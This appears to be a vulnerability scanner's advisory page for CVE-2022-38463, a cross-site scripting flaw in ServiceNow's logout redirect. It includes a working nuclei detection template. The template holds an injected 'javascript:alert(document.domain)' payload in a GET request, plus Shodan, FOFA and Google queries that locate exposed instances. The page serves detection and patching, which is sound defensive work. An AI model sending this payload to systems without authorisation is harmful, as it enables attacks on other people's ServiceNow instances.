ServiceNow - Cross-Site Scripting

mediumseverity

6.1CVSS score

2.8%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

ServiceNow through San Diego Patch 4b and Patch 6 contains a cross-site scripting vulnerability in the logout functionality, which can enable an unauthenticated remote attacker to execute arbitrary JavaScript.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, data theft, or defacement of the affected ServiceNow instance.

Fix

Apply the latest security patches provided by ServiceNow to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)
Positive when: contains "top.location.href = 'javascript:alert(document.domain)';" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-38463 -u <target>

The full check

id: CVE-2022-38463

info:
  name: ServiceNow - Cross-Site Scripting
  author: amanrawat
  severity: medium
  description: |
    ServiceNow through San Diego Patch 4b and Patch 6 contains a cross-site scripting vulnerability in the logout functionality, which can enable an unauthenticated remote attacker to execute arbitrary JavaScript.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, data theft, or defacement of the affected ServiceNow instance.
  remediation: |
    Apply the latest security patches provided by ServiceNow to mitigate this vulnerability.
  reference:
    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB1156793
    - https://nvd.nist.gov/vuln/detail/CVE-2022-38463
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-38463
    cwe-id: CWE-79
    epss-score: 0.02778
    epss-percentile: 0.86486
    cpe: cpe:2.3:a:servicenow:servicenow:san_diego:patch_4:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: servicenow
    product: servicenow
    shodan-query:
      - http.title:"ServiceNow"
      - http.title:"servicenow"
      - http.favicon.hash:1701804003
    fofa-query:
      - title="servicenow"
      - icon_hash=1701804003
    google-query: intitle:"servicenow"
  tags: cve,cve2022,servicenow,xss,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/logout_redirect.do?sysparm_url=//j%5c%5cjavascript%3aalert(document.domain)"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "top.location.href = 'javascript:alert(document.domain)';"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from